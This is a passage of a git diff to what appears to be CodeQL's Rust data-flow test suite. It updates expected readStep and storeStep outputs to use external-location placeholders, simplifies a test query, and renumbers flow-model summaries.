file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:227:14:227:29 | Some(...) | -| main.rs:228:19:228:19 | 2 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:228:14:228:20 | Some(...) | -| main.rs:240:19:240:28 | source(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:240:14:240:29 | Some(...) | -| main.rs:245:19:245:28 | source(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:245:14:245:29 | Some(...) | -| main.rs:248:19:248:19 | 0 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:248:14:248:20 | Some(...) | -| main.rs:253:19:253:28 | source(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:253:14:253:29 | Some(...) | -| main.rs:261:19:261:28 | source(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:261:14:261:29 | Some(...) | -| main.rs:262:19:262:19 | 2 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:262:14:262:20 | Some(...) | -| main.rs:266:10:266:10 | 0 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:266:5:266:11 | Some(...) | -| main.rs:270:36:270:45 | source(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:532:8:532:54 | Ok | main.rs:270:33:270:46 | Ok(...) | -| main.rs:276:37:276:46 | source(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:537:9:537:55 | Err | main.rs:276:33:276:47 | Err(...) | -| main.rs:284:35:284:44 | source(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:532:8:532:54 | Ok | main.rs:284:32:284:45 | Ok(...) | -| main.rs:285:35:285:35 | 2 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:532:8:532:54 | Ok | main.rs:285:32:285:36 | Ok(...) | -| main.rs:286:36:286:45 | source(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:537:9:537:55 | Err | main.rs:286:32:286:46 | Err(...) | -| main.rs:293:8:293:8 | 0 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:532:8:532:54 | Ok | main.rs:293:5:293:9 | Ok(...) | -| main.rs:297:35:297:44 | source(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:532:8:532:54 | Ok | main.rs:297:32:297:45 | Ok(...) | -| main.rs:301:36:301:45 | source(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:537:9:537:55 | Err | main.rs:301:32:301:46 | Err(...) | -| main.rs:312:29:312:38 | source(...) | main.rs:307:7:307:9 | A | main.rs:312:14:312:39 | ...::A(...) | -| main.rs:313:29:313:29 | 2 | main.rs:308:7:308:9 | B | main.rs:313:14:313:30 | ...::B(...) | -| main.rs:330:16:330:25 | source(...) | main.rs:307:7:307:9 | A | main.rs:330:14:330:26 | A(...) | -| main.rs:331:16:331:16 | 2 | main.rs:308:7:308:9 | B | main.rs:331:14:331:17 | B(...) | -| main.rs:352:18:352:27 | source(...) | main.rs:346:9:346:20 | C | main.rs:351:14:353:5 | ...::C {...} | -| main.rs:354:41:354:41 | 2 | main.rs:347:9:347:20 | D | main.rs:354:14:354:43 | ...::D {...} | -| main.rs:372:18:372:27 | source(...) | main.rs:346:9:346:20 | C | main.rs:371:14:373:5 | C {...} | -| main.rs:374:27:374:27 | 2 | main.rs:347:9:347:20 | D | main.rs:374:14:374:29 | D {...} | -| main.rs:392:17:392:17 | 1 | file://:0:0:0:0 | element | main.rs:392:16:392:33 | [...] | -| main.rs:392:20:392:20 | 2 | file://:0:0:0:0 | element | main.rs:392:16:392:33 | [...] | -| main.rs:392:23:392:32 | source(...) | file://:0:0:0:0 | element | main.rs:392:16:392:33 | [...] | -| main.rs:396:17:396:26 | source(...) | file://:0:0:0:0 | element | main.rs:396:16:396:31 | [...; 10] | -| main.rs:400:17:400:17 | 1 | file://:0:0:0:0 | element | main.rs:400:16:400:24 | [...] | -| main.rs:400:20:400:20 | 2 | file://:0:0:0:0 | element | main.rs:400:16:400:24 | [...] | -| main.rs:400:23:400:23 | 3 | file://:0:0:0:0 | element | main.rs:400:16:400:24 | [...] | -| main.rs:406:17:406:17 | 1 | file://:0:0:0:0 | element | main.rs:406:16:406:33 | [...] | -| main.rs:406:20:406:20 | 2 | file://:0:0:0:0 | element | main.rs:406:16:406:33 | [...] | -| main.rs:406:23:406:32 | source(...) | file://:0:0:0:0 | element | main.rs:406:16:406:33 | [...] | -| main.rs:411:17:411:17 | 1 | file://:0:0:0:0 | element | main.rs:411:16:411:24 | [...] | -| main.rs:411:20:411:20 | 2 | file://:0:0:0:0 | element | main.rs:411:16:411:24 | [...] | -| main.rs:411:23:411:23 | 3 | file://:0:0:0:0 | element | main.rs:411:16:411:24 | [...] | -| main.rs:418:17:418:17 | 1 | file://:0:0:0:0 | element | main.rs:418:16:418:33 | [...] | -| main.rs:418:20:418:20 | 2 | file://:0:0:0:0 | element | main.rs:418:16:418:33 | [...] | -| main.rs:418:23:418:32 | source(...) | file://:0:0:0:0 | element | main.rs:418:16:418:33 | [...] | -| main.rs:429:24:429:24 | 1 | file://:0:0:0:0 | element | main.rs:429:23:429:31 | [...] | -| main.rs:429:27:429:27 | 2 | file://:0:0:0:0 | element | main.rs:429:23:429:31 | [...] | -| main.rs:429:30:429:30 | 3 | file://:0:0:0:0 | element | main.rs:429:23:429:31 | [...] | -| main.rs:432:18:432:27 | source(...) | file://:0:0:0:0 | element | main.rs:432:5:432:11 | [post] mut_arr | -| main.rs:444:41:444:67 | default_name | main.rs:441:9:441:20 | captured default_name | main.rs:444:41:444:67 | \|...\| ... | -| main.rs:479:15:479:24 | source(...) | file://:0:0:0:0 | element | main.rs:479:14:479:34 | [...] | -| main.rs:479:27:479:27 | 2 | file://:0:0:0:0 | element | main.rs:479:14:479:34 | [...] | -| main.rs:479:30:479:30 | 3 | file://:0:0:0:0 | element | main.rs:479:14:479:34 | [...] | -| main.rs:479:33:479:33 | 4 | file://:0:0:0:0 | element | main.rs:479:14:479:34 | [...] | -| main.rs:504:23:504:32 | source(...) | file://:0:0:0:0 | element | main.rs:504:22:504:42 | [...] | -| main.rs:504:35:504:35 | 2 | file://:0:0:0:0 | element | main.rs:504:22:504:42 | [...] | -| main.rs:504:38:504:38 | 3 | file://:0:0:0:0 | element | main.rs:504:22:504:42 | [...] | -| main.rs:504:41:504:41 | 4 | file://:0:0:0:0 | element | main.rs:504:22:504:42 | [...] | -| main.rs:519:18:519:18 | c | file://:0:0:0:0 | &ref | main.rs:519:17:519:18 | &c | -| main.rs:522:15:522:15 | b | file://:0:0:0:0 | &ref | main.rs:522:14:522:15 | &b | -| main.rs:545:27:545:27 | 0 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:545:22:545:28 | Some(...) | readStep -| main.rs:36:9:36:15 | Some(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:36:14:36:14 | _ | +| main.rs:36:9:36:15 | Some(...) | {EXTERNAL LOCATION} | Some | main.rs:36:14:36:14 | _ | | main.rs:90:11:90:11 | i | file://:0:0:0:0 | &ref | main.rs:90:10:90:11 | * ... | | main.rs:98:10:98:10 | a | file://:0:0:0:0 | tuple.0 | main.rs:98:10:98:12 | a.0 | | main.rs:99:10:99:10 | a | file://:0:0:0:0 | tuple.1 | main.rs:99:10:99:12 | a.1 | @@ -997,20 +907,20 @@ readStep | main.rs:200:10:200:10 | s | main.rs:195:27:195:29 | MyTupleStruct(1) | main.rs:200:10:200:12 | s.1 | | main.rs:203:9:203:27 | MyTupleStruct(...) | main.rs:195:22:195:24 | MyTupleStruct(0) | main.rs:203:23:203:23 | x | | main.rs:203:9:203:27 | MyTupleStruct(...) | main.rs:195:27:195:29 | MyTupleStruct(1) | main.rs:203:26:203:26 | y | -| main.rs:217:9:217:23 | ...::Some(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:217:22:217:22 | n | -| main.rs:221:9:221:23 | ...::Some(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:221:22:221:22 | n | -| main.rs:230:9:230:15 | Some(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:230:14:230:14 | n | -| main.rs:234:9:234:15 | Some(...) | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:234:14:234:14 | n | -| main.rs:263:14:263:15 | s1 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:263:14:263:16 | TryExpr | -| main.rs:263:14:263:15 | s1 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:532:8:532:54 | Ok | main.rs:263:14:263:16 | TryExpr | -| main.rs:265:10:265:11 | s2 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:265:10:265:12 | TryExpr | -| main.rs:265:10:265:11 | s2 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:532:8:532:54 | Ok | main.rs:265:10:265:12 | TryExpr | -| main.rs:287:14:287:15 | s1 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:287:14:287:16 | TryExpr | -| main.rs:287:14:287:15 | s1 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:532:8:532:54 | Ok | main.rs:287:14:287:16 | TryExpr | -| main.rs:288:14:288:15 | s2 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:288:14:288:16 | TryExpr | -| main.rs:288:14:288:15 | s2 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:532:8:532:54 | Ok | main.rs:288:14:288:16 | TryExpr | -| main.rs:291:14:291:15 | s3 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/option.rs:580:10:580:56 | Some | main.rs:291:14:291:16 | TryExpr | -| main.rs:291:14:291:15 | s3 | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:532:8:532:54 | Ok | main.rs:291:14:291:16 | TryExpr | +| main.rs:217:9:217:23 | ...::Some(...) | {EXTERNAL LOCATION} | Some | main.rs:217:22:217:22 | n | +| main.rs:221:9:221:23 | ...::Some(...) | {EXTERNAL LOCATION} | Some | main.rs:221:22:221:22 | n | +| main.rs:230:9:230:15 | Some(...) | {EXTERNAL LOCATION} | Some | main.rs:230:14:230:14 | n | +| main.rs:234:9:234:15 | Some(...) | {EXTERNAL LOCATION} | Some | main.rs:234:14:234:14 | n | +| main.rs:263:14:263:15 | s1 | {EXTERNAL LOCATION} | Some | main.rs:263:14:263:16 | TryExpr | +| main.rs:263:14:263:15 | s1 | {EXTERNAL LOCATION} | Ok | main.rs:263:14:263:16 | TryExpr | +| main.rs:265:10:265:11 | s2 | {EXTERNAL LOCATION} | Some | main.rs:265:10:265:12 | TryExpr | +| main.rs:265:10:265:11 | s2 | {EXTERNAL LOCATION} | Ok | main.rs:265:10:265:12 | TryExpr | +| main.rs:287:14:287:15 | s1 | {EXTERNAL LOCATION} | Some | main.rs:287:14:287:16 | TryExpr | +| main.rs:287:14:287:15 | s1 | {EXTERNAL LOCATION} | Ok | main.rs:287:14:287:16 | TryExpr | +| main.rs:288:14:288:15 | s2 | {EXTERNAL LOCATION} | Some | main.rs:288:14:288:16 | TryExpr | +| main.rs:288:14:288:15 | s2 | {EXTERNAL LOCATION} | Ok | main.rs:288:14:288:16 | TryExpr | +| main.rs:291:14:291:15 | s3 | {EXTERNAL LOCATION} | Some | main.rs:291:14:291:16 | TryExpr | +| main.rs:291:14:291:15 | s3 | {EXTERNAL LOCATION} | Ok | main.rs:291:14:291:16 | TryExpr | | main.rs:315:9:315:25 | ...::A(...) | main.rs:307:7:307:9 | A | main.rs:315:24:315:24 | n | | main.rs:316:9:316:25 | ...::B(...) | main.rs:308:7:308:9 | B | main.rs:316:24:316:24 | n | | main.rs:319:9:319:25 | ...::A(...) | main.rs:307:7:307:9 | A | main.rs:319:24:319:24 | n | @@ -1069,3 +979,93 @@ readStep | main.rs:510:9:510:14 | &mut ... | file://:0:0:0:0 | &ref | main.rs:510:14:510:14 | v | | main.rs:510:19:510:35 | vs_mut.iter_mut() | file://:0:0:0:0 | element | main.rs:510:9:510:14 | &mut ... | | main.rs:524:11:524:15 | c_ref | file://:0:0:0:0 | &ref | main.rs:524:10:524:15 | * ... | +storeStep +| main.rs:97:14:97:22 | source(...) | file://:0:0:0:0 | tuple.0 | main.rs:97:13:97:26 | TupleExpr | +| main.rs:97:25:97:25 | 2 | file://:0:0:0:0 | tuple.1 | main.rs:97:13:97:26 | TupleExpr | +| main.rs:103:14:103:14 | 2 | file://:0:0:0:0 | tuple.0 | main.rs:103:13:103:30 | TupleExpr | +| main.rs:103:17:103:26 | source(...) | file://:0:0:0:0 | tuple.1 | main.rs:103:13:103:30 | TupleExpr | +| main.rs:103:29:103:29 | 2 | file://:0:0:0:0 | tuple.2 | main.rs:103:13:103:30 | TupleExpr | +| main.rs:111:18:111:18 | 2 | file://:0:0:0:0 | tuple.0 | main.rs:111:17:111:31 | TupleExpr | +| main.rs:111:21:111:30 | source(...) | file://:0:0:0:0 | tuple.1 | main.rs:111:17:111:31 | TupleExpr | +| main.rs:114:11:114:20 | source(...) | file://:0:0:0:0 | tuple.0 | main.rs:114:5:114:5 | [post] a | +| main.rs:115:11:115:11 | 2 | file://:0:0:0:0 | tuple.1 | main.rs:115:5:115:5 | [post] a | +| main.rs:121:14:121:14 | 3 | file://:0:0:0:0 | tuple.0 | main.rs:121:13:121:27 | TupleExpr | +| main.rs:121:17:121:26 | source(...) | file://:0:0:0:0 | tuple.1 | main.rs:121:13:121:27 | TupleExpr | +| main.rs:122:14:122:14 | a | file://:0:0:0:0 | tuple.0 | main.rs:122:13:122:18 | TupleExpr | +| main.rs:122:17:122:17 | 3 | file://:0:0:0:0 | tuple.1 | main.rs:122:13:122:18 | TupleExpr | +| main.rs:137:24:137:32 | source(...) | main.rs:132:5:132:10 | Point.x | main.rs:137:13:137:40 | Point {...} | +| main.rs:137:38:137:38 | 2 | main.rs:133:5:133:10 | Point.y | main.rs:137:13:137:40 | Point {...} | +| main.rs:143:28:143:36 | source(...) | main.rs:132:5:132:10 | Point.x | main.rs:143:17:143:44 | Point {...} | +| main.rs:143:42:143:42 | 2 | main.rs:133:5:133:10 | Point.y | main.rs:143:17:143:44 | Point {...} | +| main.rs:145:11:145:20 | source(...) | main.rs:133:5:133:10 | Point.y | main.rs:145:5:145:5 | [post] p | +| main.rs:151:12:151:21 | source(...) | main.rs:132:5:132:10 | Point.x | main.rs:150:13:153:5 | Point {...} | +| main.rs:152:12:152:12 | 2 | main.rs:133:5:133:10 | Point.y | main.rs:150:13:153:5 | Point {...} | +| main.rs:166:16:169:9 | Point {...} | main.rs:160:5:160:16 | Point3D.plane | main.rs:165:13:171:5 | Point3D {...} | +| main.rs:167:16:167:16 | 2 | main.rs:132:5:132:10 | Point.x | main.rs:166:16:169:9 | Point {...} | +| main.rs:168:16:168:25 | source(...) | main.rs:133:5:133:10 | Point.y | main.rs:166:16:169:9 | Point {...} | +| main.rs:170:12:170:12 | 4 | main.rs:161:5:161:10 | Point3D.z | main.rs:165:13:171:5 | Point3D {...} | +| main.rs:180:16:180:32 | Point {...} | main.rs:160:5:160:16 | Point3D.plane | main.rs:179:13:182:5 | Point3D {...} | +| main.rs:180:27:180:27 | 2 | main.rs:132:5:132:10 | Point.x | main.rs:180:16:180:32 | Point {...} | +| main.rs:180:30:180:30 | y | main.rs:133:5:133:10 | Point.y | main.rs:180:16:180:32 | Point {...} | +| main.rs:181:12:181:12 | 4 | main.rs:161:5:161:10 | Point3D.z | main.rs:179:13:182:5 | Point3D {...} | +| main.rs:198:27:198:36 | source(...) | main.rs:195:22:195:24 | MyTupleStruct(0) | main.rs:198:13:198:40 | MyTupleStruct(...) | +| main.rs:198:39:198:39 | 2 | main.rs:195:27:195:29 | MyTupleStruct(1) | main.rs:198:13:198:40 | MyTupleStruct(...) | +| main.rs:214:27:214:36 | source(...) | {EXTERNAL LOCATION} | Some | main.rs:214:14:214:37 | ...::Some(...) | +| main.rs:215:27:215:27 | 2 | {EXTERNAL LOCATION} | Some | main.rs:215:14:215:28 | ...::Some(...) | +| main.rs:227:19:227:28 | source(...) | {EXTERNAL LOCATION} | Some | main.rs:227:14:227:29 | Some(...) | +| main.rs:228:19:228:19 | 2 | {EXTERNAL LOCATION} | Some | main.rs:228:14:228:20 | Some(...) | +| main.rs:240:19:240:28 | source(...) | {EXTERNAL LOCATION} | Some | main.rs:240:14:240:29 | Some(...) | +| main.rs:245:19:245:28 | source(...) | {EXTERNAL LOCATION} | Some | main.rs:245:14:245:29 | Some(...) | +| main.rs:248:19:248:19 | 0 | {EXTERNAL LOCATION} | Some | main.rs:248:14:248:20 | Some(...) | +| main.rs:253:19:253:28 | source(...) | {EXTERNAL LOCATION} | Some | main.rs:253:14:253:29 | Some(...) | +| main.rs:261:19:261:28 | source(...) | {EXTERNAL LOCATION} | Some | main.rs:261:14:261:29 | Some(...) | +| main.rs:262:19:262:19 | 2 | {EXTERNAL LOCATION} | Some | main.rs:262:14:262:20 | Some(...) | +| main.rs:266:10:266:10 | 0 | {EXTERNAL LOCATION} | Some | main.rs:266:5:266:11 | Some(...) | +| main.rs:270:36:270:45 | source(...) | {EXTERNAL LOCATION} | Ok | main.rs:270:33:270:46 | Ok(...) | +| main.rs:276:37:276:46 | source(...) | {EXTERNAL LOCATION} | Err | main.rs:276:33:276:47 | Err(...) | +| main.rs:284:35:284:44 | source(...) | {EXTERNAL LOCATION} | Ok | main.rs:284:32:284:45 | Ok(...) | +| main.rs:285:35:285:35 | 2 | {EXTERNAL LOCATION} | Ok | main.rs:285:32:285:36 | Ok(...) | +| main.rs:286:36:286:45 | source(...) | {EXTERNAL LOCATION} | Err | main.rs:286:32:286:46 | Err(...) | +| main.rs:293:8:293:8 | 0 | {EXTERNAL LOCATION} | Ok | main.rs:293:5:293:9 | Ok(...) | +| main.rs:297:35:297:44 | source(...) | {EXTERNAL LOCATION} | Ok | main.rs:297:32:297:45 | Ok(...) | +| main.rs:301:36:301:45 | source(...) | {EXTERNAL LOCATION} | Err | main.rs:301:32:301:46 | Err(...) | +| main.rs:312:29:312:38 | source(...) | main.rs:307:7:307:9 | A | main.rs:312:14:312:39 | ...::A(...) | +| main.rs:313:29:313:29 | 2 | main.rs:308:7:308:9 | B | main.rs:313:14:313:30 | ...::B(...) | +| main.rs:330:16:330:25 | source(...) | main.rs:307:7:307:9 | A | main.rs:330:14:330:26 | A(...) | +| main.rs:331:16:331:16 | 2 | main.rs:308:7:308:9 | B | main.rs:331:14:331:17 | B(...) | +| main.rs:352:18:352:27 | source(...) | main.rs:346:9:346:20 | C | main.rs:351:14:353:5 | ...::C {...} | +| main.rs:354:41:354:41 | 2 | main.rs:347:9:347:20 | D | main.rs:354:14:354:43 | ...::D {...} | +| main.rs:372:18:372:27 | source(...) | main.rs:346:9:346:20 | C | main.rs:371:14:373:5 | C {...} | +| main.rs:374:27:374:27 | 2 | main.rs:347:9:347:20 | D | main.rs:374:14:374:29 | D {...} | +| main.rs:392:17:392:17 | 1 | file://:0:0:0:0 | element | main.rs:392:16:392:33 | [...] | +| main.rs:392:20:392:20 | 2 | file://:0:0:0:0 | element | main.rs:392:16:392:33 | [...] | +| main.rs:392:23:392:32 | source(...) | file://:0:0:0:0 | element | main.rs:392:16:392:33 | [...] | +| main.rs:396:17:396:26 | source(...) | file://:0:0:0:0 | element | main.rs:396:16:396:31 | [...; 10] | +| main.rs:400:17:400:17 | 1 | file://:0:0:0:0 | element | main.rs:400:16:400:24 | [...] | +| main.rs:400:20:400:20 | 2 | file://:0:0:0:0 | element | main.rs:400:16:400:24 | [...] | +| main.rs:400:23:400:23 | 3 | file://:0:0:0:0 | element | main.rs:400:16:400:24 | [...] | +| main.rs:406:17:406:17 | 1 | file://:0:0:0:0 | element | main.rs:406:16:406:33 | [...] | +| main.rs:406:20:406:20 | 2 | file://:0:0:0:0 | element | main.rs:406:16:406:33 | [...] | +| main.rs:406:23:406:32 | source(...) | file://:0:0:0:0 | element | main.rs:406:16:406:33 | [...] | +| main.rs:411:17:411:17 | 1 | file://:0:0:0:0 | element | main.rs:411:16:411:24 | [...] | +| main.rs:411:20:411:20 | 2 | file://:0:0:0:0 | element | main.rs:411:16:411:24 | [...] | +| main.rs:411:23:411:23 | 3 | file://:0:0:0:0 | element | main.rs:411:16:411:24 | [...] | +| main.rs:418:17:418:17 | 1 | file://:0:0:0:0 | element | main.rs:418:16:418:33 | [...] | +| main.rs:418:20:418:20 | 2 | file://:0:0:0:0 | element | main.rs:418:16:418:33 | [...] | +| main.rs:418:23:418:32 | source(...) | file://:0:0:0:0 | element | main.rs:418:16:418:33 | [...] | +| main.rs:429:24:429:24 | 1 | file://:0:0:0:0 | element | main.rs:429:23:429:31 | [...] | +| main.rs:429:27:429:27 | 2 | file://:0:0:0:0 | element | main.rs:429:23:429:31 | [...] | +| main.rs:429:30:429:30 | 3 | file://:0:0:0:0 | element | main.rs:429:23:429:31 | [...] | +| main.rs:432:18:432:27 | source(...) | file://:0:0:0:0 | element | main.rs:432:5:432:11 | [post] mut_arr | +| main.rs:444:41:444:67 | default_name | main.rs:441:9:441:20 | captured default_name | main.rs:444:41:444:67 | \|...\| ... | +| main.rs:479:15:479:24 | source(...) | file://:0:0:0:0 | element | main.rs:479:14:479:34 | [...] | +| main.rs:479:27:479:27 | 2 | file://:0:0:0:0 | element | main.rs:479:14:479:34 | [...] | +| main.rs:479:30:479:30 | 3 | file://:0:0:0:0 | element | main.rs:479:14:479:34 | [...] | +| main.rs:479:33:479:33 | 4 | file://:0:0:0:0 | element | main.rs:479:14:479:34 | [...] | +| main.rs:504:23:504:32 | source(...) | file://:0:0:0:0 | element | main.rs:504:22:504:42 | [...] | +| main.rs:504:35:504:35 | 2 | file://:0:0:0:0 | element | main.rs:504:22:504:42 | [...] | +| main.rs:504:38:504:38 | 3 | file://:0:0:0:0 | element | main.rs:504:22:504:42 | [...] | +| main.rs:504:41:504:41 | 4 | file://:0:0:0:0 | element | main.rs:504:22:504:42 | [...] | +| main.rs:519:18:519:18 | c | file://:0:0:0:0 | &ref | main.rs:519:17:519:18 | &c | +| main.rs:522:15:522:15 | b | file://:0:0:0:0 | &ref | main.rs:522:14:522:15 | &b | +| main.rs:545:27:545:27 | 0 | {EXTERNAL LOCATION} | Some | main.rs:545:22:545:28 | Some(...) | diff --git a/rust/ql/test/library-tests/dataflow/local/DataFlowStep.ql b/rust/ql/test/library-tests/dataflow/local/DataFlowStep.ql index e3043d55bb6..21e45974529 100644 --- a/rust/ql/test/library-tests/dataflow/local/DataFlowStep.ql +++ b/rust/ql/test/library-tests/dataflow/local/DataFlowStep.ql @@ -8,27 +8,14 @@ query predicate localStep(DataFlow::Node nodeFrom, DataFlow::Node nodeTo) { RustDataFlow::simpleLocalFlowStep(nodeFrom, nodeTo, "") } -class Content extends DataFlow::Content { - predicate hasLocationInfo( - string filepath, int startline, int startcolumn, int endline, int endcolumn - ) { - exists(string file | - this.getLocation().hasLocationInfo(file, startline, startcolumn, endline, endcolumn) and - filepath = - file.regexpReplaceAll("^/.*/tools/builtins/", "/BUILTINS/") - .regexpReplaceAll("^/.*/.rustup/toolchains/[^/]+/", "/RUSTUP_HOME/toolchain/") - ) - } -} - class Node extends DataFlow::Node { Node() { not this instanceof FlowSummaryNode } } -query predicate storeStep(Node node1, Content c, Node node2) { +query predicate storeStep(Node node1, DataFlow::Content c, Node node2) { RustDataFlow::storeContentStep(node1, c, node2) } -query predicate readStep(Node node1, Content c, Node node2) { +query predicate readStep(Node node1, DataFlow::Content c, Node node2) { RustDataFlow::readContentStep(node1, c, node2) } diff --git a/rust/ql/test/library-tests/dataflow/local/DataFlowStep.qlref b/rust/ql/test/library-tests/dataflow/local/DataFlowStep.qlref new file mode 100644 index 00000000000..e3dd95c3e61 --- /dev/null +++ b/rust/ql/test/library-tests/dataflow/local/DataFlowStep.qlref @@ -0,0 +1,2 @@ +query: DataFlowStep.ql +postprocess: utils/test/ExternalLocationPostProcessing.ql \ No newline at end of file diff --git a/rust/ql/test/library-tests/dataflow/modeled/inline-flow.expected b/rust/ql/test/library-tests/dataflow/modeled/inline-flow.expected index b1103e843b2..023507aaafc 100644 --- a/rust/ql/test/library-tests/dataflow/modeled/inline-flow.expected +++ b/rust/ql/test/library-tests/dataflow/modeled/inline-flow.expected @@ -2,36 +2,34 @@ models | 1 | Summary: lang:alloc; ::into_pin; Argument[0]; ReturnValue; value | | 2 | Summary: lang:alloc; ::new; Argument[0]; ReturnValue.Reference; value | | 3 | Summary: lang:alloc; ::pin; Argument[0]; ReturnValue.Reference; value | -| 4 | Summary: lang:core; ::clone; Argument[self].Field[crate::option::Option::Some(0)]; ReturnValue.Field[crate::option::Option::Some(0)]; value | -| 5 | Summary: lang:core; ::unwrap; Argument[self].Field[crate::option::Option::Some(0)]; ReturnValue; value | -| 6 | Summary: lang:core; ::zip; Argument[0].Field[crate::option::Option::Some(0)]; ReturnValue.Field[crate::option::Option::Some(0)].Field[1]; value | -| 7 | Summary: lang:core; ::into_inner; Argument[0]; ReturnValue; value | -| 8 | Summary: lang:core; ::new; Argument[0]; ReturnValue; value | -| 9 | Summary: lang:core; ::unwrap; Argument[self].Field[crate::result::Result::Ok(0)]; ReturnValue; value | -| 10 | Summary: lang:core; ::clone; Argument[self].Reference; ReturnValue; value | -| 11 | Summary: lang:core; crate::ptr::read; Argument[0].Reference; ReturnValue; value | -| 12 | Summary: lang:core; crate::ptr::write; Argument[1]; Argument[0].Reference; value | +| 4 | Summary: lang:core; ::unwrap; Argument[self].Field[crate::option::Option::Some(0)]; ReturnValue; value | +| 5 | Summary: lang:core; ::zip; Argument[0].Field[crate::option::Option::Some(0)]; ReturnValue.Field[crate::option::Option::Some(0)].Field[1]; value | +| 6 | Summary: lang:core; ::into_inner; Argument[0]; ReturnValue; value | +| 7 | Summary: lang:core; ::new; Argument[0]; ReturnValue; value | +| 8 | Summary: lang:core; ::unwrap; Argument[self].Field[crate::result::Result::Ok(0)]; ReturnValue; value | +| 9 | Summary: lang:core; ::clone; Argument[self].Reference; ReturnValue; value | +| 10 | Summary: lang:core; crate::ptr::read; Argument[0].Reference; ReturnValue; value | +| 11 | Summary: lang:core; crate::ptr::write; Argument[1]; Argument[0].Reference; value | edges -| main.rs:12:9:12:9 | a [Some] | main.rs:13:10:13:19 | a.unwrap() | provenance | MaD:5 | +| main.rs:12:9:12:9 | a [Some] | main.rs:13:10:13:19 | a.unwrap() | provenance | MaD:4 | | main.rs:12:9:12:9 | a [Some] | main.rs:14:13:14:13 | a [Some] | provenance | | -| main.rs:12:9:12:9 | a [Some] | main.rs:14:13:14:21 | a.clone() [Some] | provenance | MaD:4 | | main.rs:12:13:12:28 | Some(...) [Some] | main.rs:12:9:12:9 | a [Some] | provenance | | | main.rs:12:18:12:27 | source(...) | main.rs:12:13:12:28 | Some(...) [Some] | provenance | | -| main.rs:14:9:14:9 | b [Some] | main.rs:15:10:15:19 | b.unwrap() | provenance | MaD:5 | +| main.rs:14:9:14:9 | b [Some] | main.rs:15:10:15:19 | b.unwrap() | provenance | MaD:4 | | main.rs:14:13:14:13 | a [Some] | main.rs:14:13:14:21 | a.clone() [Some] | provenance | generated | | main.rs:14:13:14:21 | a.clone() [Some] | main.rs:14:9:14:9 | b [Some] | provenance | | -| main.rs:19:9:19:9 | a [Ok] | main.rs:20:10:20:19 | a.unwrap() | provenance | MaD:9 | +| main.rs:19:9:19:9 | a [Ok] | main.rs:20:10:20:19 | a.unwrap() | provenance | MaD:8 | | main.rs:19:9:19:9 | a [Ok] | main.rs:21:13:21:13 | a [Ok] | provenance | | | main.rs:19:31:19:44 | Ok(...) [Ok] | main.rs:19:9:19:9 | a [Ok] | provenance | | | main.rs:19:34:19:43 | source(...) | main.rs:19:31:19:44 | Ok(...) [Ok] | provenance | | -| main.rs:21:9:21:9 | b [Ok] | main.rs:22:10:22:19 | b.unwrap() | provenance | MaD:9 | +| main.rs:21:9:21:9 | b [Ok] | main.rs:22:10:22:19 | b.unwrap() | provenance | MaD:8 | | main.rs:21:13:21:13 | a [Ok] | main.rs:21:13:21:21 | a.clone() [Ok] | provenance | generated | | main.rs:21:13:21:21 | a.clone() [Ok] | main.rs:21:9:21:9 | b [Ok] | provenance | | | main.rs:26:9:26:9 | a | main.rs:27:10:27:10 | a | provenance | | | main.rs:26:9:26:9 | a | 